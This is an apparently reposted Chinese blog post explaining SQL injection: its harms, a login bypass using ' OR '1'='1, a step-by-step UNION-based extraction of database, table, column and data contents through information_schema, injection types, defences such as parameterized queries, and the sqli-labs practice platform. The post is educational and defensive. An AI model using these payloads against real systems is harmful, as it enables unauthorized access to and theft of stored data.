SQL注入引发的思考

        近期安全同事进行攻防演练时,我看到他们使用sql注入来检测漏洞,就与他们进行了讨论,有了很大的收获。虽然之前就知道sql注入,但是那时了解的很片面,只是知道皮毛。安全同事给推荐了sqli-labs,这是一个练习SQL注入的平台,于是练了练手。

        开发人员、系统管理员和安全从业人员应具备对SQL注入的防范意识。了解SQL注入的工作原理、攻击技术和可能的后果,可以帮助提高应对和防范的能力。

什么是sql注入

        SQL注入是一种常见的安全漏洞,出现在使用SQL(Structured Query Language)进行数据库交互的应用程序中。它允许攻击者通过将恶意的SQL代码插入到应用程序的输入字段中来执行未经授权的数据库操作。

sql注入的危害

        SQL注入通常发生在应用程序未正确验证和过滤用户输入的情况下。攻击者可以利用这个漏洞来执行各种恶意操作,包括以下几种情况:

  • 绕过身份验证:攻击者可以通过注入恶意的SQL代码来绕过应用程序的身份验证机制,以获得未经授权的访问权限。例如,在一个用户登录的应用程序中,如果应用程序未正确验证和过滤用户输入,攻击者可以通过注入恶意的SQL代码来绕过登录验证,并以管理员身份登录。
  • 数据泄露:通过成功的SQL注入攻击,攻击者可以访问、检索和下载数据库中的敏感数据,例如用户密码、个人身份信息、信用卡数据等。这导致用户隐私受到侵犯,可能引发身份盗窃、欺诈等问题。
  • 数据篡改:攻击者可以通过SQL注入修改数据库中的数据,包括插入、更新和删除数据。这可能导致数据的不一致性,破坏应用程序的功能和业务逻辑,并对用户和组织造成重大损失。
  • 数据库服务器攻击:攻击者可以通过注入恶意的SQL代码来执行对数据库服务器的攻击。例如,攻击者可以通过注入DROP TABLE语句来删除整个数据库,导致数据的永久性丢失。

sql注入示例

下面是一个简单的示例,说明SQL注入是如何发生的:

        假设有一个简单的登录页面,用户需要输入用户名和密码才能登录。后台的SQL查询可能如下所示:

SELECT * FROM users WHERE username = '<input_username>' AND password = '<input_password>'

        应用程序可能直接将用户输入的内容插入到SQL查询语句中,而未对其进行验证和过滤。如果攻击者在用户名字段中输入' OR '1'='1,SQL查询将变成以下形式

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '<input_password>'

        由于'1'='1'永远为真,这个查询将返回所有用户的记录,从而绕过了身份验证。

sql注入进阶实践

假设有一个订单列表查询页面

SELECT * FROM order WHERE id= '<input_id>'

        该sql语句的功能是根据id查询数据,这个sql语句对于用户来说是一个黑盒,他们不知道查的是哪个表,表里有什么数据,只知道输入的参数变量是input_id。非法用户可以通过input_id参数进行sql注入。

1.sql注入判断字段个数

        输入input_id:-1' union select 1,2,3..... #

SELECT * FROM order WHERE id= '-1' union select 1,2,3..... #'

        如果这个表格有4个字段,select * 查询出来就是四列,那么union 后面的select 1,2,3...到4就可以返回结果,数据库执行 SELECT * FROM order WHERE id= '-1' union select 1,2,3,4 #' 不会报错,由此可以确定查询列数。#作为数据库的注解标识,可以将最后的单引号'注释掉,保证sql的正确性。

2.查询库名

        输入input_id:-1' union select 1,2,database(),4 #

SELECT * FROM order WHERE id= '-1' union select 1,2,database(),4 #'

        在1的基础上能够正常返回数据后,可以使用database()来查询正在使用的库名,并返回给用户

3.查询库内所有表名

        输入input_id:-1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = '库名' #

SELECT * FROM order WHERE id= '-1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = '库名' #'

        由于information_schema这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。可以用information_schema来查询该库名下的所有表名。由于表可能不止是一个,那无法存储到一个字段中,就可以用group_concat来拼接,形成一个字符串来进行返回。

        此时就可以根据表名推断出哪个表是保存用户数据的。

4.查询表内所有字段名

        输入input_id:-1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema = '库名' and table_name = '表名' #

SELECT * FROM users WHERE id= '-1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema = '库名' and table_name = '表名' #'

        与上面查询表名同理,查询出自己想要看的表中有哪些字段。

5.查询数据

        输入input_id:-1' union select 1,group_concat(字段名2),group_concat(字段名3) ,group_concat(字段名4) from 库名.表名 #

SELECT * FROM users WHERE id= '-1' union select 1,group_concat(字段名2),group_concat(字段名3),group_concat(字段名4) from 库名.表名 #'

        这样就可以根据order这个订单表查询到其他表中的重要数据。

SQL注入的几种类型

  • 基于布尔盲注(Boolean-based Blind Injection):攻击者通过构造SQL语句,利用应用程序在查询结果中的布尔判断来推断数据库中的数据。通过不断的尝试和推测,攻击者可以逐渐获取敏感数据。
  • 基于时间盲注(Time-based Blind Injection):攻击者通过在注入语句中添加延时函数或睡眠函数,观察应用程序的响应时间来判断是否注入成功。通过控制延时时间,攻击者可以逐渐提取数据。
  • 基于错误消息注入(Error-based Injection):攻击者通过构造恶意的SQL语句,故意引发数据库错误,并利用应用程序返回的错误消息来获取敏感信息。错误消息通常包含有关数据库结构或数据的有用信息。
  • 基于UNION查询注入(UNION-based Injection):攻击者通过在注入点处构造恶意的UNION查询语句,将恶意查询的结果合并到原始查询结果中。通过这种方式,攻击者可以绕过原始查询的限制,获取额外的数据。
  • 基于联合查询注入(Union-based Injection):攻击者通过在注入点处构造恶意的UNION查询语句,将额外的数据行合并到原始查询结果中。通过这种方式,攻击者可以获取原始查询未暴露的数据。
  • 基于堆叠查询注入(Stacked Queries Injection):攻击者通过在注入点处构造多个SQL查询语句,并在应用程序中执行这些查询语句,以实现多个操作的连续执行。这种注入方法需要应用程序支持同时执行多个查询语句。

如何避免sql注入

  • 参数化查询(Prepared Statements):使用参数化查询来构建SQL语句。参数化查询使用占位符来表示查询中的参数,而不是将参数值直接插入到SQL语句中。数据库驱动程序会处理参数值的转义和处理,从而防止恶意注入。
  • 输入验证与过滤:对用户输入的数据进行严格的验证和过滤。验证输入的数据是否符合预期的格式、类型和长度,并过滤掉特殊字符或SQL关键字。可以使用正则表达式、输入白名单或特定的验证方法来实现输入验证与过滤。
  • 使用ORM框架:使用ORM(对象关系映射)框架可以减少直接编写SQL查询的机会。ORM框架会自动处理SQL语句的构建和参数化,从而减少了手动拼接SQL的风险。
  • 最小化权限:在连接数据库时,使用具有最小权限的数据库账号,限制对数据库的访问和操作。确保应用程序只能执行必要的数据库操作,并禁止对数据库的直接访问。
  • 避免动态拼接SQL语句:尽量避免动态拼接SQL语句,特别是直接将用户输入的数据拼接到SQL语句中。如果必须使用动态SQL,使用参数化查询或相关的安全机制来处理动态部分。
  • 安全编码实践:遵循安全编码的最佳实践,如避免使用原始的SQL拼接、不信任用户输入、避免将敏感信息直接存储在SQL语句中等。确保开发人员具备安全意识,并进行相应的安全培训。
  • 定期漏洞扫描和安全审计:定期进行漏洞扫描和安全审计,以发现潜在的SQL注入漏洞和其他安全漏洞。通过定期审查代码和系统,及时修复发现的漏洞,并确保应用程序的安全性。

        SQL注入是一种严重的安全威胁,对个人和组织的数据和系统造成严重威胁。采取合适的防范措施,可以有效预防和减轻SQL注入的风险。同时,持续的安全意识培训和定期的漏洞扫描与安全审计也是保护系统安全的重要手段

sql注入练习平台

githup地址:https://github.com/Audi-1/sqli-labs/tree/master
做题参考:https://blog.csdn.net/Samblue_M/article/details/122776584

猜你喜欢

转载自blog.csdn.net/liangjiabao5555/article/details/131457911